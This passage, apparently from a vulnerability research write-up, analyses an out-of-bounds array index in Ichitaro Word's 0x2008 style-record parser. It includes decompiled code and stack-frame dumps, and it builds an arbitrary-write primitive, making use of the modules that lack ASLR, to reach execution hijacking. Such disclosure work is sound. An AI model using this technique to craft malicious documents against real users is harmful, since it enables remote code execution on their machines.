                                     Av_parsingFlagField_8,
                                     0);
            goto returning(@eax)_endrecord_3a736f;
          }
        }
        goto returning(1)_endrecord_3a70f9;
      }
      v_wordsub(1fff)_15 = v_word(1001)_15 - 0xFFE;
      if ( v_wordsub(1fff)_15 )
      {
        v_word(2000)_15 = v_wordsub(1fff)_15 - 1;
        if ( !v_word(2000)_15 )                                                         // Process record type 0x2001
        {
          if ( av_currentStreamState?_c == 5 )
          {
            p_field(34)_18 = object_10cbd2::get_field(34)_7b9e07(p_owner_24->v_data_290.p_object_48, 0);
            p_styleObject_3a712c = object_9bd0e4::readStyleType(2001)_1d24a9(
                                     p_field(34)_18,
                                     p_oseg_0,
                                     this->v_header_long_4,
                                     Av_parsingFlagField_8,
                                     this->v_documentType_8,
                                     ap_unkobjectunion_10.ap_unkobject_10);
            goto returning(@eax)_endrecord_3a736f;
          }
          if ( Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
            && (*(_BYTE *)(ap_unkobjectunion_10.ap_unkobject_10 + 516) & 0x10) != 0 )
          {
            struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
...
            p_field(34)_1f->v_data_4.field_5a8 = 1;
            p_styleObject_3a712c = object_9bd0e4::readStyleType(2001)_1b8f99(
                                     p_field(34)_1f,
                                     p_oseg_0,
                                     this->v_header_long_4,
                                     Av_parsingFlagField_8,
                                     this->v_documentType_8,
                                     lp_unkobject_20,
                                     &lv_result_4);
            goto returning(@eax)_endrecord_3a736f;
          }
returning(1)_endrecord_3a70f9:
          lv_result_4 = 1;
          goto returning(@esi)_skipRecord_3a762b;
        }
        if ( v_word(2000)_15 == 1 )                                                     // Process record type 0x2002
        {
          if ( (Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
             && (*(_BYTE *)(ap_unkobjectunion_10.ap_unkobject_10 + 516) & 0x20) != 0)
            && av_currentStreamState?_c != 5 )
          {
            struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
            field(3c)_109b2a = object_10cbd2::get_field(3c)_109b2a(lp_owner_8->v_data_290.p_object_48, 0);
            p_styleObject_3a712c = object_9bd184::readStyleType(2002)_1cdcf6(
                                     field(3c)_109b2a,
                                     p_oseg_0,
                                     this->v_header_long_4,
                                     Av_parsingFlagField_8,
                                     ap_unkobjectunion_10.ap_unkobject_10);
            p_result_3a705e = p_styleObject_3a712c;
            goto returning(@esi)_endrecord_3a7625;
          }
          goto returning(1)_endrecord_3a70f9;
        }
...
      }
...
    }
...
    if ( av_currentStreamState?_c == 3 )                                                // Process record type 0x1000
    {
      object_9e5ffc = (object_9e5ffc *)p_object_c->v_data_4.p_object_190c;
      if ( object_9e5ffc )
      {
        p_styleObject_3a712c = object_9e5ffc::readStyleType(1000)_1b6bf7(object_9e5ffc, p_oseg_0, this->v_header_long_4, this);
        goto returning(@eax)_endrecord_3a736f;
      }
    }
    else
    {
      if ( av_currentStreamState?_c == 4 )
      {
        p_styleObject_3a712c = object_9c2044::readStyleType(1000)_4d951d(
                                 p_owner_24,
                                 p_oseg_0,
                                 this->v_header_long_4,
                                 (frame_3a7048_arg_10)ap_unkobjectunion_10.ap_unkobject_10);
        goto returning(@eax)_endrecord_3a736f;
      }
...
    }
    struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
    object_9e5ffc = ap_nullunion_14.object_9e5ffc;
    goto readStyleType(1000)_3a7365;
  }
  return 0xFFFFFFE8;
}

The first set of conditions that are listed in the decompilation leads to the parser for record type 0x2005. The second case, as per the decompilation, is used to parse record type 0x2008. It is this record type that contains the entirety of the vulnerability leveraged by this document.

The next listing shows the parser for record type 0x2008. In it, we can immediately spot a static-sized array due to the loop that initializes it. After a closer look at the references to this array, the function uses an index to access elements of the array without checking their boundaries. Immediately after fetching an item from the array, the item is then written to. Thus, this out-of-bounds index is made significantly more useful due to it being used for writing into a constant-sized array.

int __thiscall object_9d0d30::readStyleType(2008)_391906(
        object_9d0d30 *this,
        JSVDA::object_OSEG *ap_oseg_0,
        int av_size_4,
        int av_someFlag_8,
        int av_documentType_c,
        int ap_nullobject_10,
        int *ap_unusedResult_14)
{
...
  v34 = 0;
  p_object_14 = this->v_data_20.p_object_14;
...
  v9 = JSFC::malloc_181e(sizeof(object_9d14a0));
...
  if ( v9 )
    v10 = object_9d14a0::constructor_38cb12(v9, this->v_data_20.p_object(9c2044)_c, this);
...
  this->v_data_20.p_object_14 = v10;
  object_9d14a0::addSixObjects_38cb7d(v10);
  for ( i = 0; i < 6; ++i )                                                                     // Loop for an array with a static length
    lv_objects(6)_6c[i] = object_9d14a0::getPropertyForItemAtIndex_37a71d(this->v_data_20.p_object_14, i);
...
  while ( lvw_case_84 != 0xFFFF )                                                               // Keep reading records until 0xFFFF
  {
    switch ( lvw_case_84 )
    {
      case 0u:                                                                                  // Case 0-4,6,8,9 are similar.
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v25) )
          goto LABEL_47;
        lv_objects(6)_6c[lvw_index_70]->v_data_20.v_typeField(0)_14 = v25;
        goto LABEL_51;
...
      case 5u:                                                                                  // Case 5
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;
...
        wstringtoggle_7fb182::initialize_7fb182(&v15, lv_wstring(28)_54);
        LOBYTE(v34) = 0;
        object_9d15a0::moveinto_field(20,2c)_6c0780(lv_objects(6)_6c[lvw_index_70], v15);
        goto LABEL_51;
...
      case 7u:                                                                                  // Case 7
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
          goto LABEL_47;
        lv_size_74 += 0xFFFC;
        if ( !arena_reader::read_int_6b5bc1(&lv_triple_80, &v17) )
          goto LABEL_47;
        lv_objects(6)_6c[lvw_index_70]->v_data_20.v_typeField(7)_38 = v17;
        goto LABEL_51;
...
      default:
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &lv_size_74) )
          goto LABEL_47;
        break;
    }
    while ( lv_size_74 )
    {
      if ( !arena_reader::read_byte_405b6c(&lv_triple_80, &lvb_85) )
        goto LABEL_47;
      lv_size_74 += 0xFFFF;
    }
...
  }
...
}

The index is used to refer to the correct element in an array of pointers to an object. This object, object_9d15a0, is 0x68 bytes in size and is primarily composed of integer fields that are used to store data read from the current stream. Thus, the vulnerability enables us to write data to one of the object’s fields depending on which case was read during parsing. Examining each of the cases individually, there are three ways in which the implementation may be written to object_9d15a0.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

The first class involves dereferencing a pointer from the indexed object and then writing a 16-bit integer zero-extended to 32 bits to the target of the pointer.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

The second class also involves dereferencing a pointer but allows us to write a 32-bit integer to the pointer's target.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

The third class is slightly more complex, but it appears to write a reference to a short object of some kind that contains an integer that can be set to 1 or 2, and a pointer that can be freed depending on the value of that integer. Of these three classes, the 32-bit integer write seems to be the most useful unless we plan to write a length where the high 16-bits are always cleared.

After the pointer for any of these classes has been dereferenced, the integer that is decoded from the stream is written to a field within the dereferenced object. Examining each individually shows us exactly which field of the object will be written to. It appears that depending on the case that we choose, our decoded integer will end up being written within the range +0x34 to +0x60 of the object. As only the 32-bit integer and possibly the short object cases appear to be of use, we will take note of the field they write to, and use that field to locate something useful to overwrite. Specifically, we take note that the short object type is using case 0x5 and will result in writing to offset +0x4c, whereas the 32-bit integer type for case 0x7 will end up writing to offset +0x58.

Python>struc.by('object_9d15a0').members
<class 'structure' name='object_9d15a0' size=0x68>
[0]  0+0x4                     int 'p_vftable_0' (<class 'int'>, 4)     # [vftable] 0x3c4515a0
[1]  4+0x1c JSFC::CCmdTarget::data 'v_data_4'    <class 'structure' name='JSFC::CCmdTarget::data' offset=0x4 size=0x1c>
[2] 20+0x48    object_9d15a0::data 'v_data_20'   <class 'structure' name='object_9d15a0::data' offset=0x20 size=0x48>

Python>struc.by('object_9d15a0').members[2].type.members
<class 'structure' name='object_9d15a0::data' offset=0x20 size=0x48>
[0]  20+0x4                  int 'p_vftable_0'             (<class 'int'>, 4)
[1]  24+0x4                  int 'p_vftable_4'             (<class 'int'>, 4)
[2]  28+0x2              __int16 'field_8'                 (<class 'int'>, 2)
[3]  2a+0x2              __int16 'field_A'                 (<class 'int'>, 2)
[4]  2c+0x4                  int 'field_C'                 (<class 'int'>, 4)
[5]  30+0x4       object_9d0d30* 'p_owner_10'              (<class 'type'>, 4)
[6]  34+0x4                  int 'v_typeField(0)_14'       (<class 'int'>, 4)   # [styleType2008] 0x0
[7]  38+0x4                  int 'v_typeField(1)_18'       (<class 'int'>, 4)   # [styleType2008] 0x1
[8]  3c+0x4                  int 'v_typeField(2)_1c'       (<class 'int'>, 4)   # [styleType2008] 0x2
[9]  40+0x4                  int 'v_typeField(3)_20'       (<class 'int'>, 4)   # [styleType2008] 0x3
[10] 44+0x4                  int 'v_typeField(9)_24'       (<class 'int'>, 4)   # [styleType2008] 9
[11] 48+0x4                  int 'v_typeField(4)_28'       (<class 'int'>, 4)   # [styleType2008] 0x4
[12] 4c+0x8 wstringtoggle_7fb182 'v_typeFieldString(5)_2c' <class 'structure' name='wstringtoggle_7fb182' offset=0x4c size=0x8> # [styleType2008] 5
[13] 54+0x4                  int 'v_typeField(6)_34'       (<class 'int'>, 4)   # [styleType2008] 0x6
[14] 58+0x4                  int 'v_typeField(7)_38'       (<class 'int'>, 4)   # {'styleType2008': 7, 'note': 'writes 4b integer'}
[15] 5c+0x4                  int 'v_typeField(8)_3c'       (<class 'int'>, 4)   # [styleType2008] 0x8
[16] 60+0x4                  int 'field_40'                (<class 'int'>, 4)
[17] 64+0x4     JSFC::SomeString 'v_string_44'             <class 'structure' name='JSFC::SomeString' offset=0x64 size=0x4>

Referencing the listing, each of the fields that are being written to are named as v_typeField(case)_offset. When parsing the 0x2008 record type, the integer decoded out of the stream will be written to either one of these fields. It is worth noting that the field v_typeField(7)_38 for case 7 will allow us to write a full 32-bit integer, the field v_typeFieldString(5)_2c for case 5 will allow us to write a pointer to a 16-bit character string, and the other fields will allow us to write a 32-bit integer zero-extended from a 16-bit integer. The only thing left to do is to write a proof-of-concept demonstrating the out-of-bounds index being used to dereference a pointer, and then write to our desired field.

Mitigations

After identifying the vulnerability, we can immediately check the mitigations that have been applied to the target to get a better idea of what might be a hindrance to the exploitation of our write candidates. By examining the modules in the address space, we can see that DEP (W^X) is enabled, but ASLR is not for some of the listed modules. This greatly simplifies things, since our vulnerability allows us to overwrite practically anything within these listed modules. Because of this, we won't need to do much else other than write to a known address to hijack execution.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

In the following screenshot, we also notice that the target uses frame pointers and stack canaries to protect them from being overwritten. This won't directly affect the exploitation of this vulnerability but could affect any code we might end up re-purposing once we earn the ability to execute code.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Leveraging the vulnerability

Now that we've identified anything that might add to the complexity of our goals, we can revisit the vulnerability and expand on it. The first thing we'll need to do is to control the pointer that will be dereferenced. Our pointer will be located on the stack, so we'll need to get data that is parsed from the stream by the application to be located on the stack so that we can use our out-of-bounds index to dereference it.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Examining the scope of the vulnerability shows that it has a call stack depth of three, from when the document starts to parse the streams from the document at object_9c2044::method_processStreams_77af0f. This depth represents the part of the application where we control input and contains the logic by which we can influence the application with our document. Any data that is read from the file will only be available from one of the methods within this scope.

int __thiscall object_9c2044::method_processStreams_77af0f(
        object_9c2044 *this,
        JSVDA::object_OFRM *ap_oframe_0,
        unsigned int av_documentType_4,
        unsigned int av_flags_8,
        struc_79aa9a *ap_stackobject_c,
        int ap_null_10)
{
...
  lp_oframe_230 = ap_oframe_0;
  lp_stackObject_234 = ap_stackobject_c;
...
  if ( !lv_struc_24c.lv_flags_10 )
  {
LABEL_42:
    lv_struc_24c.field_14 = av_flags_8 & 0x800;
    v10 = object_9c2044::parseStream(DocumentViewStyles)_3a790a(this, ap_oframe_0, av_documentType_4, av_flags_8);          // "DocumentViewStyles"
    if ( v10 == 1 )
    {
      v10 = object_9c2044::parseStream(DocumentEditStyles)_3a6cb2(this, lp_oframe_230, av_documentType_4, av_flags_8);      // "DocumentEditStyles"
      if ( v10 == 1 )
      {
        v10 = object_10cbd2::processSomeStreams_778971(
                this->v_data_290.p_object_48,
                lp_oframe_230,
                av_documentType_4,
                av_flags_8);
        if ( v10 == 1 )
        {
...
          v10 = object_9c2044::decode_substream(Toolbox)_3a6a7b(this, lp_oframe_230);                                       // "Toolbox"
          if ( v10 == 1 )
          {
            v10 = object_9c2044::decode_stream(DocumentMacro)_3a680a(this, lp_oframe_230, av_documentType_4);               // "DocumentMacro"
            if ( v10 == 1 )
            {
              v10 = sub_3BE25803(this, lp_oframe_230, av_flags_8);
              if ( v10 == 1 )
              {
                v10 = JSVDA::object_OFRM::decode_stream(Vision_Sidenote)_77310e(this, lp_oframe_230);                       // "Vision_Sidenote"
                if ( v10 == 1 )
                {
                  v10 = object_9c2044::decode_stream(MergeDataName)_3a55d3(this, lp_oframe_230);                            // "MergeDataName"
                  if ( v10 == 1 )
                  {
                    v10 = object_9c2044::decode_stream(HtmlAdditionalData)_3a5445(this, lp_oframe_230, av_documentType_4, lp_stackObject_234, 0);
...
                  }
                }
              }
            }
          }
        }
      }
    }
...
  }
  return v10;
}

/** Functions used to parse both the "DocumentViewStyles" and "DocumentEditStyles" streams. **/
int __thiscall object_9c2044::parseStream(DocumentViewStyles)_3a790a(object_9c2044 *this, JSVDA::object_OFRM *ap_oframe_0, int av_documentType_4, int av_flags_8)
{
  object_9c2d50::field_397a8d::clear_3a7b8b(this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1dc);
  this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1dc = 0;
  return object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(this, ap_oframe_0, av_documentType_4, av_flags_8, 1, 0);
}

int __thiscall object_9c2044::parseStream(DocumentEditStyles)_3a6cb2(object_9c2044 *this, JSVDA::object_OFRM *ap_oframe_0, int av_documentType_4, int av_flags_8)
{
  object_9c2d50::field_397a8d::clear_3a7b8b(this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1d8);
  this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1d8 = 0;
  return object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(this, ap_oframe_0, av_documentType_4, av_flags_8, 2, 0);
}

From a cursory glance at the object_9c2044::method_processStreams_77af0f method in the listing, it seems that the stream of interest is one of the first two streams that are being parsed by the application. This implies that there is not much logic that is executed between the document being opened and our vulnerability being reached. To influence the state of the application before our vulnerability, we are limited only to the logic related to parsing the streams containing the document styles. If we end up hijacking execution at any time within the vulnerability's scope, we'll need some way of maintaining control afterward to modify the permissions of whatever page we plan on loading.

Exploring some of the other stream parsers seems to show that virtual methods are called upon by some objects to read from the stream. These exist in a writable part of some of the available modules, so we can likely overwrite them globally if we determine it necessary. However, this would also result in the "breaking" of that functionality for the entire application since the virtual method would not be usable anymore.

Since our write is happening at the beginning of the application parsing the document, anything we overwrite would have to be used by the one or two streams that read data from the file. Performing a rudimentary query on the parsers for the record types belonging to both the DocumentViewStyles and DocumentEditStyles streams show that nothing is being read dynamically into the heap or any other means, and so we'll have to use our vulnerability to write the entire payload and anything else we might need.

Python> func.frame(0x3BE11906).members
<class 'structure' name='$ F3BE11906' offset=-0xcc size=0xe4>
     -cc+0x10                                          [None, 16]
[0]  -bc+0x4                  int 'var_B4'             (<class 'int'>, 4)
[1]  -b8+0x4                  int 'var_B0'             (<class 'int'>, 4)
[2]  -b4+0x2              __int16 'var_AC'             (<class 'int'>, 2)
...
[13] -8d+0x1                 char 'lvb_85'             (<class 'int'>, 1)
[14] -8c+0x2              __int16 'lvw_case_84'        (<class 'int'>, 2)
     -8a+0x2                                           [None, 2]
[15] -88+0xc         arena_reader 'lv_triple_80'       <class 'structure' name='arena_reader' offset=-0x88 size=0xc>
[16] -7c+0x4                  int 'lv_size_74'         (<class 'int'>, 4)
[17] -78+0x2              __int16 'lvw_index_70'       (<class 'int'>, 2)
[18] -76+0x2              __int16 'var_6E'             (<class 'int'>, 2)
[19] -74+0x18   object_9d15a0*[6] 'lv_objects(6)_6c'   [(<class 'type'>, 4), 6]
[20] -5c+0x50         wchar_t[40] 'lv_wstring(28)_54'  [(<class 'int'>, 2), 40]
[21]  -c+0x4                  int 'var_4'              (<class 'int'>, 4)
[22]  -8+0x4              char[4] ' s'                 [(<class 'int'>, 1), 4]
[23]  -4+0x4              char[4] ' r'                 [(<class 'int'>, 1), 4]
[24]   0+0x4  JSVDA::object_OSEG* 'ap_oseg_0'          (<class 'type'>, 4)
[25]   4+0x4                  int 'av_size_4'          (<class 'int'>, 4)
[26]   8+0x4                  int 'av_someFlag_8'      (<class 'int'>, 4)
[27]   c+0x4                  int 'av_documentType_c'  (<class 'int'>, 4)
[28]  10+0x4                  int 'ap_nullobject_10'   (<class 'int'>, 4)
[29]  14+0x4                 int* 'ap_unusedResult_14' (<class 'type'>, 4)

This listing shows the layout of the entire frame belonging to the object_9d0d30::readStyleType(2008)_391906 method which contains our vulnerability. In this layout, the lv_objects(6)_6c field contains the six-element array of pointers that our index is used with. This means that we'll be dereferencing a pointer relative to this array. Right after this array is a buffer before the canary protecting the caller's frame pointer and address. If we cross-reference this field, we can see that it is referenced during the processing of case 5

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

In case 5, the implementation will read two 16-bit fields, containing the index and size. This size is checked against the 0x66 constant before it is used to read an array of 16-bit integers into the referenced buffer of 0x50 bytes in size. After being checked against 0x66, the size is aligned to a multiple of 2 and then verified that it is less than 0x42. If the length verification fails this time, the __report_rangecheckfailure function will immediately terminate execution.

If this check is passed, the array that was read will be used to construct the prior-mentioned short object and then written to the array of six objects that are located on the stack. There is no other code within this function that uses this 16-bit integer array, and since it is used to temporarily store the array of 16-bit integers read from the file, we can reuse its space to store any pointers that we will want to use during exploitation.

Vulnerability's capabilities

Moving back to the proof-of-concept, we'll need to combine the two mentioned cases for record 0x2008, so that we can emit the necessary records to write to an arbitrary address. Case 5, allows us to store an array of 16-bit integers into a buffer, so we will use this to store the pointers that will be dereferenced to the lv_wstring(28)_54 field. Case 7, allows us to specify an out-of-bounds index and so we can specify an index that will dereference a pointer from the lv_wstring(28)_54 field that we loaded with case 5. The combination of these two types allows us to write a controlled 32-bit integer to a controlled address.

Due to the limit of our scope, with the vulnerability being at the very beginning of the document being parsed, we are restricted in that we must use the vulnerability to load the entirety of our payload within the application’s address space. This implies that we’ll need to promote the primitive 32-bit write to an arbitrary address into a primitive that allows us to write an arbitrary amount of data to an arbitrary address. If we use the same technique of one record with type 5 followed by a record of type 7, this would result in a size cost of six bytes composed of the type, size, and index, followed by 32 bits for the integer or the address (10 bytes in total). Since both record types are being used, the overhead would be 20 bytes for every 32-bit integer that we wish to write. Fortunately, this overhead can be reduced due to there being more space within the lv_wstring(28)_54 field that we can use to store each address that will need to be written to.

The upper bound of the size before __report_rangecheckfailure is 0x42 bytes and we will need to include extra space for the null-terminator at the beginning of the string. This will allow us to load 15 addresses for every type 5 record using 0x46 bytes. Then using a type 7 record for each integer to write will result in the cost being 10 bytes per 32-bit integer, an improvement. To accommodate an amount of data that is not a multiple of 4, we simply write an unaligned 32-bit integer at the end for the extra bytes and proceed to fill the space before as described. After implementing these abstractions in our exploit, the next step is to figure out what to hijack.

Hijacking execution

As we can write anywhere within the address space, we could overwrite some global pointers to hijack execution. But, if we review the code within and around our immediate scope, the only virtual methods that are available to hijack are only used for reading the contents of the current stream being parsed. If we examine the contents of these objects, it turns out that there is absolutely nothing inside them that contains useful data or even pointers that may allow us to corrupt other parts of the application. As such, we need to hope that something we can influence with the contents of the stream resides at a predictable place in memory. 

Python> struc.by('JSVDA::object_OSEG')
<class 'structure' name='JSVDA::object_OSEG' size=0x10>         # [alloc.tag] OSEG

Python> struc.by('JSVDA::object_OSEG').members
<class 'structure' name='JSVDA::object_OSEG' size=0x10>         # [alloc.tag] OSEG
[0]  0+0x4               int 'p_vftable_0' (<class 'int'>, 4)   # [vftable] 0x27818738
[1]  4+0xc object_OSEG::data 'v_data_4'    <class 'structure' name='object_OSEG::data' offset=0x4 size=0xc>

Python> struc.by('JSVDA::object_OSEG').members[1].type.members
<class 'structure' name='object_OSEG::data' offset=0x4 size=0xc>
[0]  4+0x4     int 'v_bucketIndex_0'    (<class 'int'>, 4)
[1]  8+0x8 __int64 'v_currentOffset?_4' (<class 'int'>, 8)

This listing shows the layout of the object used to read data from the stream. As listed, the object has only one field which is the index or handle for the document. Due to the lack of ASLR, we could overwrite one of the virtual method tables that are referenced by this object. However, the only methods that the application uses from this object are used by the same record implementation to parse it. Anything we overwrite will immediately break this object and prevent the application from loading any more data from the document.

Examining the stack also shows that there are not any useful pointers other than one to a global object which is initialized statically and is thus scoped to the application. However, there are frame pointers on the stack that may be used. We will only need to discover a relative reference to one to use it. Due to the nature of how code is executed, we can assume that everything within our vulnerability’s context originates from a caller farther up the stack. Hence, it is either copied out of the heap belonging to another component, entered our scope via some global state, or enters scope as a parameter. We will also need to keep in mind that we are only able to write a 32-bit integer at +0x58, 16-bit integers between +0x34 and +0x60, or a pointer to a structure containing a string at +0x4C relative to our chosen pointer. Hence, we will need to search to find a reference to a frame that allows us to hijack execution within these constraints. 

If we capture the call stack at the point of the vulnerability being triggered, we can grab the layout of each frame, and use it to identify any fields that are +0x58 for case 7, or +0x4C - 4 for case 5.

Python> callstack = [0x3be11d03, 0x3be27501, 0x3be278b2, 0x3be2793e, 0x3c1fb083, 0x3c1fb495, 0x3c1fb4ef, 0x3be2795d]
Python> list(map(function.address, callstack))
[0x3be11906, 0x3be27048, 0x3be276be, 0x3be2790a, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]

# Exchange each address in the backtrace with the function that owns it.
Python> functions = list(map(function.address, callstack))
Python> pp(list(map(function.name, functions)))
['object_9d0d30::readStyleType(2008)_391906',
 'struc_3a9de4::parseStylesContent_3a7048',
 'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
 'object_9c2044::parseStream(DocumentViewStyles)_3a790a',
 'object_9c2044::method_processStreams_77af0f',
 'object_9c2044::vmethod_processStreamsTwice_77b3ed',
 'object_9e9d90::processDocumentByType_77b4ab',
 'sub_3BE27954']

# Grab the frame for each function and align them contiguously.
Python> frames = list(map(func.frame, functions))
Python> contiguous = struc.right(frames[-1], frames[-1:])

# Display all frame pointers along with the offset needed to overwrite them.
Python> for frame in contiguous: print("{:#x} : {}".format(frame.byname(' s').offset - 0x58, frame.byname(' s')))
-0x640 : <member '$ F3BE11906. s' index=22 offset=-0x5e8 size=+0x4 typeinfo='char[4]'>
-0x608 : <member '$ F3BE27048. s' index=3 offset=-0x5b0 size=+0x4 typeinfo='char[4]'>
-0x55c : <member '$ F3BE276BE. s' index=25 offset=-0x504 size=+0x4 typeinfo='char[4]'>
-0x53c : <member '$ F3BE2790A. s' index=0 offset=-0x4e4 size=+0x4 typeinfo='char[4]'>
-0x2cc : <member '$ F3C1FAF0F. s' index=9 offset=-0x274 size=+0x4 typeinfo='char[4]'>
-0x9c : <member '$ F3C1FB3ED. s' index=3 offset=-0x44 size=+0x4 typeinfo='char[4]'>
-0x78 : <member '$ F3C1FB4AB. s' index=0 offset=-0x20 size=+0x4 typeinfo='char[4]'>
-0x60 : <member '$ F3BE27954. s' index=0 offset=-0x8 size=+0x4 typeinfo='char[4]'>

# Gather them into a set.
Python> offsets = set(item.byname(' s').offset - 0x58 for item in contiguous)

# Display each frame and any of its members that contain one of the determined offsets.
Python> for frame in contiguous: print(frame), frame.members.list(offset=offsets), print()
<class 'structure' name='$ F3BE11906' offset=-0x6ac size=0xe4>
[20] -63c+0x50         wchar_t[40] 'lv_wstring(28)_54'  [(<class 'int'>, 2), 40]

<class 'structure' name='$ F3BE27048' offset=-0x5c8 size=0x38>

<class 'structure' name='$ F3BE276BE' offset=-0x590 size=0xa8>
[12] -55c:+0x4           int 'var_58'      (<class 'int'>, 4)
[20] -53c:+0x28 struc_3a9de4 'lv_struc_38' <class 'structure' name='struc_3a9de4' offset=-0x53c size=0x28>  # [note] Wanted object

<class 'structure' name='$ F3BE2790A' offset=-0x4e8 size=0x18>

<class 'structure' name='$ F3C1FAF0F' offset=-0x4d0 size=0x278>
[7]  -4a0+0x228           object_2f27f8 'lv_object_22c'      <class 'structure' name='object_2f27f8' offset=-0x4a0 size=0x228>

<class 'structure' name='$ F3C1FB3ED' offset=-0x258 size=0x230>
[1] -248+0x200        wchar_t[256] 'lv_wstring_204'    [(<class 'int'>, 2), 256]

<class 'structure' name='$ F3C1FB4AB' offset=-0x28 size=0x20>

<class 'structure' name='$ F3BE27954' offset=-0x8 size=0x18>

From this listing, we have only five results, only two of which appear to be pointing to a field that may be referenced. This number of results is small enough to verify manually and we discover that the field, lv_struc_38, which begins at exactly 0x58 bytes from a frame pointer is perfect for our 32-bit write. This field belongs to the frame for the function at 0x3BE276BE which is the method named object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be. Examining the prototypes of the functions called by this method shows that the object appears to only be used by a single method.

# Grab all of the calls for function 0x3BE276BE that do not use a register as its operand.
Python> calls = {ins.op_ref(ref) for ref in function.calls(0x3BE276BE) if not isinstance(ins.op(ref), register_t)}

# List all functions that we selected.
Python> db.functions.list(typed=True, ea=calls)
[0]  +0x109b2a : 0x3bb89b2a..0x3bb89b9e : (1) FvD+ : __thiscall object_10cbd2::get_field(3c)_109b2a          : lvars:1c args:2 refs:100  exits:1
[1]  +0x1329ce : 0x3bbb29ce..0x3bbb29e8 : (1) Fvt+ :    __cdecl object_OSEG::setCurrentStreamPosition_1329ce : lvars:00 args:5 refs:182  exits:1
[2]  +0x132a07 : 0x3bbb2a07..0x3bbb2a15 : (1) Fvt+ :    __cdecl object_OSEG::destroy_132a07                  : lvars:00 args:1 refs:270  exits:1
[3]  +0x132de4 : 0x3bbb2de4..0x3bbb2e41 : (1) FvT+ :    __cdecl object_OFRM::openStreamByName?_132de4        : lvars:08 args:4 refs:144  exits:1
[4]  +0x1a9adb : 0x3bc29adb..0x3bc29bff : (1) FvD+ : __thiscall sub_3BC29ADB                                 : lvars:68 args:1 refs:7    exits:1
[5]  +0x1cbf85 : 0x3bc4bf85..0x3bc4c3f2 : (1) FvD+ : __thiscall sub_3BC4BF85                                 : lvars:6c args:2 refs:6    exits:1
[6]  +0x1d5697 : 0x3bc55697..0x3bc558b7 : (1) FvD+ : __thiscall object_9bd120::method_1d5697                 : lvars:8c args:1 refs:6    exits:1
[7]  +0x2198ca : 0x3bc998ca..0x3bc9998f : (1) FvD+ : __thiscall sub_3BC998CA                                 : lvars:28 args:4 refs:38   exits:1
[8]  +0x3a7048 : 0x3be27048..0x3be27664 : (1) FvT+ : __thiscall struc_3a9de4::parseStylesContent_3a7048      : lvars:18 args:7 refs:2    exits:1
[9]  +0x3a7664 : 0x3be27664..0x3be276be : (1) FvT+ :    __cdecl object_OSEG::read_ushort_3a7664              : lvars:1c args:2 refs:90   exits:1
[10] +0x3a9547 : 0x3be29547..0x3be2955d : (1) FvD+ : __thiscall sub_3BE29547                                 : lvars:00 args:3 refs:5    exits:1
[11] +0x3a9638 : 0x3be29638..0x3be2963b : (1) FvD+ :  __unknown return_3a9638                                : lvars:00 args:0 refs:30   exits:1
[12] +0x3a9de4 : 0x3be29de4..0x3be29e05 : (1) FvD* : __thiscall constructor_3a9de4                           : lvars:00 args:1 refs:7    exits:1
[13] +0x7b15a6 : 0x3c2315a6..0x3c23161a : (1) FvD+ : __thiscall object_10cbd2::get_field(38)_7b15a6          : lvars:1c args:2 refs:36   exits:1
[14] +0x7b9e07 : 0x3c239e07..0x3c239e7c : (1) FvD+ : __thiscall object_10cbd2::get_field(34)_7b9e07          : lvars:1c args:2 refs:98   exits:1
[15] +0x8ea4fd : 0x3c36a4fd..0x3c36a50e : (1) LvD+ :  __unknown __EH_epilog3_GS                              : lvars:00 args:0 refs:2546 exits:0

# Grab all our results that are typed, and emit their prototype.
Python> for ea in db.functions(tag='__typeinfo__', ea=calls): print(function.tag(ea, '__typeinfo__'))
object_9bd184 *__thiscall object_10cbd2::get_field(3c)_109b2a(object_10cbd2 *this, __int16 avw_0)
int __cdecl object_OSEG::setCurrentStreamPosition_1329ce(JSVDA::object_OSEG *ap_oseg_0, int av_low_4, int av_high_8, int av_reset?_c, __int64 *ap_resultOffset_10)
int __cdecl object_OSEG::destroy_132a07(JSVDA::object_OSEG *ap_oseg_0)
int __cdecl object_OFRM::openStreamByName?_132de4(JSVDA::object_OFRM *ap_oframe_0, char *ap_streamName_4, int av_flags_8, JSVDA::object_OSEG **)
int __thiscall sub_3BC29ADB(object_9bd0e4 *this)
int __thiscall sub_3BC4BF85(object_9bd184 *this, int a2)
int __thiscall object_9bd120::method_1d5697(object_9bd120 *this)
int __thiscall sub_3BC998CA(object_9bd0e4 *this, int av_length_0, int av_field_4, int av_neg1_8)
